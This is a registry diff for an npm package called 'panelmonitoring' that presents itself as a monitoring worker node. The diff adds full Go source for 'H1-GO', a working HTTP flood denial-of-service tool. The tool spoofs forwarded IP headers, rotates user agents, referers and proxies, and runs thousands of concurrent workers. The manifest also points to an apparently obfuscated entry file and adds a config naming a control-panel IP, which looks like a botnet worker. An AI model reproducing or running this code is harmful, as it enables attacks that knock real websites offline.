panelmonitoring 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.worker_encrypted +1 -0
- package/lib/cache/dor +0 -0
- package/lib/cache/dor.go +1302 -0
- package/lib/cache/h1-go +0 -0
- package/lib/cache/h1-go.go +442 -0
- package/package.json +22 -3
- package/panel-config.json +1 -0
- package/proxy.txt +60557 -0
- package/public/index.html +2256 -0
- package/referer.txt +2117 -0
- package/ua.txt +103225 -0
- package//346/216/247/345/210/266/351/235/242/346/235/277/346/240/270/345/277/203/345/220/257/345/212/250/346/250/241/345/235/227/345/210/235/345/247/213/345/214/226/347/250/213/345/272/217/344/270/273/345/205/245/345/217/243/346/226/207/344/273/266.js +1887 -0
- package/run.js +0 -83
package/lib/cache/h1-go
ADDED
|
Binary file
|
|
@@ -0,0 +1,442 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* H1-GO — HTTP/1.1 High-Volume Request Flood
|
|
3
|
+
*
|
|
4
|
+
* Simple, lightweight, fast — pure HTTP/1.1 flood with Go goroutines
|
|
5
|
+
*
|
|
6
|
+
* Usage: ./h1-go <target> <duration> <goroutines> [proxyfile]
|
|
7
|
+
* Example: ./h1-go https://example.com 60 5000
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
package main
|
|
11
|
+
|
|
12
|
+
import (
|
|
13
|
+
"crypto/tls"
|
|
14
|
+
"fmt"
|
|
15
|
+
"math/rand"
|
|
16
|
+
"net"
|
|
17
|
+
"net/http"
|
|
18
|
+
"net/url"
|
|
19
|
+
"os"
|
|
20
|
+
"os/signal"
|
|
21
|
+
"runtime"
|
|
22
|
+
"strconv"
|
|
23
|
+
"strings"
|
|
24
|
+
"sync"
|
|
25
|
+
"sync/atomic"
|
|
26
|
+
"time"
|
|
27
|
+
)
|
|
28
|
+
|
|
29
|
+
// ==================== SECRET KEY CHECK ====================
|
|
30
|
+
func checkExecKey() {
|
|
31
|
+
validKeys := map[string]bool{
|
|
32
|
+
"夜影风暴": true, "量子幽灵": true, "暗影猎手": true, "虚空使者": true, "灵魂守卫": true,
|
|
33
|
+
"烈焰之心": true, "冰封王座": true, "雷霆之怒": true, "星辰大海": true, "深渊之眼": true,
|
|
34
|
+
}
|
|
35
|
+
execKey := os.Getenv("EXEC_KEY")
|
|
36
|
+
if execKey == "" || !validKeys[execKey] {
|
|
37
|
+
fmt.Println(`
|
|
38
|
+
╔══════════════════════════════════════════════════════╗
|
|
39
|
+
║ ║
|
|
40
|
+
║ ╔═╗╔═╗ ╔═╗╦ ╦╦╔═╗╔╗╔ ╔═╗╦═╗╦╔═╗ ║
|
|
41
|
+
║ ╠═╝║╣ ║ ╠═╣║║ ║║║║ ║ ╠╦╝║╠═╝ ║
|
|
42
|
+
║ ╩ ╚═╝ ╚═╝╩ ╩╩╚═╝╝╚╝ ╚═╝╩╚═╩╩ ║
|
|
43
|
+
║ ║
|
|
44
|
+
║ "你连钥匙都没有,还想攻击?" ║
|
|
45
|
+
║ "You don't even have the key, and you want to ║
|
|
46
|
+
║ attack? LOL." ║
|
|
47
|
+
║ ║
|
|
48
|
+
║ → EXEC_KEY is missing or invalid ║
|
|
49
|
+
║ → You are NOT Michelle Wang ║
|
|
50
|
+
║ → Go home, script kiddie 🤡 ║
|
|
51
|
+
║ ║
|
|
52
|
+
╚══════════════════════════════════════════════════════╝
|
|
53
|
+
`)
|
|
54
|
+
os.Exit(1)
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// ==================== CONFIG ====================
|
|
59
|
+
const (
|
|
60
|
+
REQUEST_TIMEOUT = 3 * time.Second
|
|
61
|
+
DIAL_TIMEOUT = 2 * time.Second
|
|
62
|
+
MAX_IDLE_CONNS = 10000
|
|
63
|
+
)
|
|
64
|
+
|
|
65
|
+
var (
|
|
66
|
+
userAgents []string
|
|
67
|
+
referers []string
|
|
68
|
+
totalSent uint64
|
|
69
|
+
totalError uint64
|
|
70
|
+
totalActive int64
|
|
71
|
+
stop int32
|
|
72
|
+
)
|
|
73
|
+
|
|
74
|
+
// ==================== USER AGENT LOADER ====================
|
|
75
|
+
func loadUserAgents() {
|
|
76
|
+
userAgents = []string{
|
|
77
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
|
78
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
|
79
|
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
|
80
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
|
|
81
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
|
|
82
|
+
}
|
|
83
|
+
for _, path := range []string{"ua.txt", "./ua.txt", "../../ua.txt"} {
|
|
84
|
+
if data, err := os.ReadFile(path); err == nil {
|
|
85
|
+
lines := strings.Split(string(data), "\n")
|
|
86
|
+
var loaded []string
|
|
87
|
+
for _, l := range lines {
|
|
88
|
+
l = strings.TrimSpace(l)
|
|
89
|
+
if l != "" {
|
|
90
|
+
loaded = append(loaded, l)
|
|
91
|
+
}
|
|
92
|
+
}
|
|
93
|
+
if len(loaded) > 0 {
|
|
94
|
+
userAgents = loaded
|
|
95
|
+
return
|
|
96
|
+
}
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
// ==================== REFERER LOADER ====================
|
|
102
|
+
func loadReferers() {
|
|
103
|
+
referers = []string{
|
|
104
|
+
"https://www.google.com/",
|
|
105
|
+
"https://www.bing.com/",
|
|
106
|
+
"https://www.yahoo.com/",
|
|
107
|
+
"https://www.facebook.com/",
|
|
108
|
+
"https://www.youtube.com/",
|
|
109
|
+
}
|
|
110
|
+
for _, path := range []string{"referer.txt", "./referer.txt", "../../referer.txt"} {
|
|
111
|
+
if data, err := os.ReadFile(path); err == nil {
|
|
112
|
+
lines := strings.Split(string(data), "\n")
|
|
113
|
+
var loaded []string
|
|
114
|
+
for _, l := range lines {
|
|
115
|
+
l = strings.TrimSpace(l)
|
|
116
|
+
if l != "" {
|
|
117
|
+
loaded = append(loaded, l)
|
|
118
|
+
}
|
|
119
|
+
}
|
|
120
|
+
if len(loaded) > 0 {
|
|
121
|
+
referers = loaded
|
|
122
|
+
return
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
// ==================== PROXY LOADER ====================
|
|
129
|
+
func loadProxies(file string) []string {
|
|
130
|
+
data, err := os.ReadFile(file)
|
|
131
|
+
if err != nil {
|
|
132
|
+
return nil
|
|
133
|
+
}
|
|
134
|
+
lines := strings.Split(string(data), "\n")
|
|
135
|
+
var proxies []string
|
|
136
|
+
for _, l := range lines {
|
|
137
|
+
l = strings.TrimSpace(l)
|
|
138
|
+
if l != "" && !strings.HasPrefix(l, "#") {
|
|
139
|
+
proxies = append(proxies, l)
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
return proxies
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// ==================== RANDOM HELPERS ====================
|
|
146
|
+
var rngPool = sync.Pool{
|
|
147
|
+
New: func() interface{} {
|
|
148
|
+
return rand.New(rand.NewSource(time.Now().UnixNano()))
|
|
149
|
+
},
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
func randomUA() string {
|
|
153
|
+
return userAgents[rand.Intn(len(userAgents))]
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
func randomReferer() string {
|
|
157
|
+
return referers[rand.Intn(len(referers))]
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
func randomIP(rng *rand.Rand) string {
|
|
161
|
+
return fmt.Sprintf("%d.%d.%d.%d",
|
|
162
|
+
rng.Intn(256), rng.Intn(256), rng.Intn(256), rng.Intn(256))
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
var acceptLanguages = []string{
|
|
166
|
+
"en-US,en;q=0.9", "en-GB,en;q=0.9", "id-ID,id;q=0.8",
|
|
167
|
+
"de-DE,de;q=0.9", "fr-FR,fr;q=0.8", "es-ES,es;q=0.7",
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
var cacheControls = []string{"no-cache", "no-store", "max-age=0"}
|
|
171
|
+
|
|
172
|
+
// ==================== QUERY PARAM POOL (Pre-generated for speed) ====================
|
|
173
|
+
var queryParamPool [64]string
|
|
174
|
+
|
|
175
|
+
func initQueryParamPool() {
|
|
176
|
+
const hexDigits = "0123456789abcdef"
|
|
177
|
+
rng := rand.New(rand.NewSource(time.Now().UnixNano()))
|
|
178
|
+
for i := 0; i < 64; i++ {
|
|
179
|
+
v1 := rng.Int63()
|
|
180
|
+
v2 := rng.Int63()
|
|
181
|
+
var key, val [12]byte
|
|
182
|
+
for j := 0; j < 12; j++ {
|
|
183
|
+
key[j] = hexDigits[(v1>>(j*4))&0xf]
|
|
184
|
+
val[j] = hexDigits[(v2>>(j*4))&0xf]
|
|
185
|
+
}
|
|
186
|
+
queryParamPool[i] = "?" + string(key[:]) + "=" + string(val[:])
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
// ==================== PATH ROTATION ====================
|
|
191
|
+
var paths = []string{
|
|
192
|
+
"/", "/index.html", "/home", "/main", "/login",
|
|
193
|
+
"/api/v1/status", "/api/v2/data", "/wp-admin/admin-ajax.php",
|
|
194
|
+
"/search", "/products", "/cart", "/checkout",
|
|
195
|
+
"/blog", "/news", "/feed", "/sitemap.xml", "/robots.txt",
|
|
196
|
+
"/favicon.ico", "/css/style.css", "/js/app.js",
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
var queryKeys = []string{"_t", "_r", "_id", "_v", "cache", "nocache"}
|
|
200
|
+
|
|
201
|
+
func buildPath(rng *rand.Rand) string {
|
|
202
|
+
base := paths[rng.Intn(len(paths))]
|
|
203
|
+
|
|
204
|
+
if rng.Intn(100) < 40 {
|
|
205
|
+
base += queryParamPool[rng.Intn(64)]
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
return base
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
// ==================== HTTP/1.1 TRANSPORT ====================
|
|
212
|
+
func createTransport(proxyAddr string) *http.Transport {
|
|
213
|
+
tlsConf := &tls.Config{
|
|
214
|
+
InsecureSkipVerify: true,
|
|
215
|
+
MinVersion: tls.VersionTLS12,
|
|
216
|
+
MaxVersion: tls.VersionTLS13,
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
dialer := &net.Dialer{
|
|
220
|
+
Timeout: DIAL_TIMEOUT,
|
|
221
|
+
KeepAlive: 30 * time.Second,
|
|
222
|
+
DualStack: true,
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
transport := &http.Transport{
|
|
226
|
+
DialContext: dialer.DialContext,
|
|
227
|
+
TLSClientConfig: tlsConf,
|
|
228
|
+
MaxIdleConns: MAX_IDLE_CONNS,
|
|
229
|
+
MaxIdleConnsPerHost: 5000,
|
|
230
|
+
MaxConnsPerHost: 8000,
|
|
231
|
+
IdleConnTimeout: 60 * time.Second,
|
|
232
|
+
DisableCompression: false,
|
|
233
|
+
DisableKeepAlives: false,
|
|
234
|
+
ResponseHeaderTimeout: REQUEST_TIMEOUT,
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
if proxyAddr != "" {
|
|
238
|
+
transport.Proxy = http.ProxyURL(parseProxyURL(proxyAddr))
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
return transport
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
func parseProxyURL(proxy string) *url.URL {
|
|
245
|
+
if !strings.HasPrefix(proxy, "http://") && !strings.HasPrefix(proxy, "https://") {
|
|
246
|
+
proxy = "http://" + proxy
|
|
247
|
+
}
|
|
248
|
+
u, _ := url.Parse(proxy)
|
|
249
|
+
return u
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
// ==================== FLOOD WORKER ====================
|
|
253
|
+
func floodWorker(target string, transport *http.Transport, wg *sync.WaitGroup) {
|
|
254
|
+
defer wg.Done()
|
|
255
|
+
|
|
256
|
+
rng := rand.New(rand.NewSource(time.Now().UnixNano()))
|
|
257
|
+
|
|
258
|
+
client := &http.Client{
|
|
259
|
+
Transport: transport,
|
|
260
|
+
Timeout: REQUEST_TIMEOUT,
|
|
261
|
+
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
|
262
|
+
}
|
|
263
|
+
|
|
264
|
+
host := target
|
|
265
|
+
if strings.Contains(target, "://") {
|
|
266
|
+
parts := strings.SplitN(target, "://", 2)
|
|
267
|
+
host = parts[1]
|
|
268
|
+
}
|
|
269
|
+
if idx := strings.IndexByte(host, '/'); idx >= 0 {
|
|
270
|
+
host = host[:idx]
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
var buf strings.Builder
|
|
274
|
+
buf.Grow(128)
|
|
275
|
+
|
|
276
|
+
for atomic.LoadInt32(&stop) == 0 {
|
|
277
|
+
atomic.AddInt64(&totalActive, 1)
|
|
278
|
+
atomic.AddUint64(&totalSent, 1)
|
|
279
|
+
|
|
280
|
+
buf.Reset()
|
|
281
|
+
buf.WriteString(target)
|
|
282
|
+
buf.WriteString(buildPath(rng))
|
|
283
|
+
fullURL := buf.String()
|
|
284
|
+
|
|
285
|
+
req, err := http.NewRequest("GET", fullURL, nil)
|
|
286
|
+
if err != nil {
|
|
287
|
+
atomic.AddUint64(&totalError, 1)
|
|
288
|
+
atomic.AddInt64(&totalActive, -1)
|
|
289
|
+
continue
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
req.Host = host
|
|
293
|
+
req.Header.Set("User-Agent", randomUA())
|
|
294
|
+
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8")
|
|
295
|
+
req.Header.Set("Accept-Language", acceptLanguages[rng.Intn(len(acceptLanguages))])
|
|
296
|
+
req.Header.Set("Accept-Encoding", "gzip, deflate, br")
|
|
297
|
+
req.Header.Set("Cache-Control", cacheControls[rng.Intn(len(cacheControls))])
|
|
298
|
+
req.Header.Set("Pragma", "no-cache")
|
|
299
|
+
req.Header.Set("Connection", "keep-alive")
|
|
300
|
+
req.Header.Set("Referer", randomReferer())
|
|
301
|
+
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
|
302
|
+
req.Header.Set("Sec-Fetch-Dest", "document")
|
|
303
|
+
req.Header.Set("Sec-Fetch-Mode", "navigate")
|
|
304
|
+
req.Header.Set("Sec-Fetch-Site", "cross-site")
|
|
305
|
+
req.Header.Set("Sec-Fetch-User", "?1")
|
|
306
|
+
req.Header.Set("X-Forwarded-For", randomIP(rng))
|
|
307
|
+
req.Header.Set("X-Real-IP", randomIP(rng))
|
|
308
|
+
|
|
309
|
+
resp, err := client.Do(req)
|
|
310
|
+
if err != nil {
|
|
311
|
+
atomic.AddUint64(&totalError, 1)
|
|
312
|
+
atomic.AddInt64(&totalActive, -1)
|
|
313
|
+
continue
|
|
314
|
+
}
|
|
315
|
+
|
|
316
|
+
// OPTIMIZED: Skip body read for maximum RPS (was: io.Copy 4KB)
|
|
317
|
+
if resp.Body != nil {
|
|
318
|
+
resp.Body.Close()
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
atomic.AddInt64(&totalActive, -1)
|
|
322
|
+
}
|
|
323
|
+
}
|
|
324
|
+
|
|
325
|
+
// ==================== MAIN ====================
|
|
326
|
+
func main() {
|
|
327
|
+
checkExecKey()
|
|
328
|
+
runtime.GOMAXPROCS(runtime.NumCPU())
|
|
329
|
+
|
|
330
|
+
loadUserAgents()
|
|
331
|
+
loadReferers()
|
|
332
|
+
initQueryParamPool() // Pre-generate query params for speed
|
|
333
|
+
|
|
334
|
+
if len(os.Args) < 4 {
|
|
335
|
+
fmt.Fprintf(os.Stderr, "Usage: %s target duration goroutines [proxyfile]\n", os.Args[0])
|
|
336
|
+
fmt.Fprintf(os.Stderr, " target : https://example.com or example.com\n")
|
|
337
|
+
fmt.Fprintf(os.Stderr, " duration : seconds\n")
|
|
338
|
+
fmt.Fprintf(os.Stderr, " goroutines: concurrent goroutines (default 5000)\n")
|
|
339
|
+
fmt.Fprintf(os.Stderr, " proxyfile : path to proxy list (optional)\n")
|
|
340
|
+
os.Exit(1)
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
target := os.Args[1]
|
|
344
|
+
duration, _ := strconv.Atoi(os.Args[2])
|
|
345
|
+
goroutines, _ := strconv.Atoi(os.Args[3])
|
|
346
|
+
proxyFile := ""
|
|
347
|
+
if len(os.Args) >= 5 {
|
|
348
|
+
proxyFile = os.Args[4]
|
|
349
|
+
}
|
|
350
|
+
|
|
351
|
+
if duration <= 0 {
|
|
352
|
+
duration = 60
|
|
353
|
+
}
|
|
354
|
+
if goroutines <= 0 {
|
|
355
|
+
goroutines = 5000
|
|
356
|
+
}
|
|
357
|
+
|
|
358
|
+
// Ensure target has scheme
|
|
359
|
+
if !strings.HasPrefix(target, "http") {
|
|
360
|
+
target = "https://" + target
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
proxies := loadProxies(proxyFile)
|
|
364
|
+
|
|
365
|
+
// Create shared transport
|
|
366
|
+
transport := createTransport("")
|
|
367
|
+
defer transport.CloseIdleConnections()
|
|
368
|
+
|
|
369
|
+
fmt.Printf("\n")
|
|
370
|
+
fmt.Printf(" ╔══════════════════════════════════════════════════╗\n")
|
|
371
|
+
fmt.Printf(" ║ 🌐 H1-GO — HTTP/1.1 High-Volume Flood ║\n")
|
|
372
|
+
fmt.Printf(" ╠══════════════════════════════════════════════════╣\n")
|
|
373
|
+
fmt.Printf(" ║ Target : %s\n", target)
|
|
374
|
+
fmt.Printf(" ║ Duration : %ds\n", duration)
|
|
375
|
+
fmt.Printf(" ║ Goroutines : %d\n", goroutines)
|
|
376
|
+
fmt.Printf(" ║ Protocol : HTTP/1.1 (Keep-Alive)\n")
|
|
377
|
+
fmt.Printf(" ║ UAs Loaded : %d\n", len(userAgents))
|
|
378
|
+
fmt.Printf(" ║ Referers : %d\n", len(referers))
|
|
379
|
+
if len(proxies) > 0 {
|
|
380
|
+
fmt.Printf(" ║ Proxies : %d loaded\n", len(proxies))
|
|
381
|
+
}
|
|
382
|
+
fmt.Printf(" ╚══════════════════════════════════════════════════╝\n")
|
|
383
|
+
fmt.Printf("\n")
|
|
384
|
+
|
|
385
|
+
// Signal handler
|
|
386
|
+
sigChan := make(chan os.Signal, 1)
|
|
387
|
+
signal.Notify(sigChan, os.Interrupt)
|
|
388
|
+
go func() {
|
|
389
|
+
<-sigChan
|
|
390
|
+
fmt.Println("\n [!] Interrupted — stopping...")
|
|
391
|
+
atomic.StoreInt32(&stop, 1)
|
|
392
|
+
}()
|
|
393
|
+
|
|
394
|
+
// Timer
|
|
395
|
+
go func() {
|
|
396
|
+
time.Sleep(time.Duration(duration) * time.Second)
|
|
397
|
+
atomic.StoreInt32(&stop, 1)
|
|
398
|
+
}()
|
|
399
|
+
|
|
400
|
+
startTime := time.Now()
|
|
401
|
+
|
|
402
|
+
// Start workers
|
|
403
|
+
var wg sync.WaitGroup
|
|
404
|
+
for i := 0; i < goroutines; i++ {
|
|
405
|
+
wg.Add(1)
|
|
406
|
+
go floodWorker(target, transport, &wg)
|
|
407
|
+
}
|
|
408
|
+
|
|
409
|
+
// Stats ticker
|
|
410
|
+
ticker := time.NewTicker(1 * time.Second)
|
|
411
|
+
defer ticker.Stop()
|
|
412
|
+
|
|
413
|
+
for atomic.LoadInt32(&stop) == 0 {
|
|
414
|
+
select {
|
|
415
|
+
case <-ticker.C:
|
|
416
|
+
sent := atomic.LoadUint64(&totalSent)
|
|
417
|
+
errs := atomic.LoadUint64(&totalError)
|
|
418
|
+
active := atomic.LoadInt64(&totalActive)
|
|
419
|
+
elapsed := time.Since(startTime).Seconds()
|
|
420
|
+
rps := uint64(0)
|
|
421
|
+
if elapsed > 0 {
|
|
422
|
+
rps = sent / uint64(elapsed)
|
|
423
|
+
}
|
|
424
|
+
fmt.Printf("\r 📊 Sent: %d | Errors: %d | Active: %d | RPS: ~%d", sent, errs, active, rps)
|
|
425
|
+
default:
|
|
426
|
+
time.Sleep(50 * time.Millisecond)
|
|
427
|
+
}
|
|
428
|
+
}
|
|
429
|
+
|
|
430
|
+
wg.Wait()
|
|
431
|
+
elapsed := time.Since(startTime).Seconds()
|
|
432
|
+
total := atomic.LoadUint64(&totalSent)
|
|
433
|
+
errs := atomic.LoadUint64(&totalError)
|
|
434
|
+
rps := float64(0)
|
|
435
|
+
if elapsed > 0 {
|
|
436
|
+
rps = float64(total) / elapsed
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
fmt.Println()
|
|
440
|
+
fmt.Println()
|
|
441
|
+
fmt.Printf(" ✅ Attack finished. Total: %d requests | Errors: %d | %.1f req/s\n\n", total, errs, rps)
|
|
442
|
+
}
|
package/package.json
CHANGED
|
@@ -1,10 +1,29 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "panelmonitoring",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"description": "Michelle Wang — Worker Node",
|
|
5
|
+
"main": "控制面板核心启动模块初始化程序主入口文件.js",
|
|
5
6
|
"bin": {
|
|
6
|
-
"panelmonitoring": "
|
|
7
|
+
"panelmonitoring": "控制面板核心启动模块初始化程序主入口文件.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "node 控制面板核心启动模块初始化程序主入口文件.js",
|
|
11
|
+
"start:web": "node 控制面板核心启动模块初始化程序主入口文件.js",
|
|
12
|
+
"config": "node config-manager.js",
|
|
13
|
+
"prepublishOnly": "git checkout main"
|
|
7
14
|
},
|
|
8
15
|
"keywords": ["worker", "monitoring", "node"],
|
|
9
|
-
"
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"axios": "^1.7.9",
|
|
18
|
+
"cloudscraper": "^4.6.0",
|
|
19
|
+
"colors": "^1.4.0",
|
|
20
|
+
"express": "^5.2.1",
|
|
21
|
+
"hpack": "^1.0.0",
|
|
22
|
+
"request": "^2.88.2",
|
|
23
|
+
"socks": "^2.8.3"
|
|
24
|
+
},
|
|
25
|
+
"devDependencies": {
|
|
26
|
+
"javascript-obfuscator": "^5.4.1",
|
|
27
|
+
"pkg": "^5.8.1"
|
|
28
|
+
}
|
|
10
29
|
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"panelUrl":"http://63.178.90.28:8082"}
|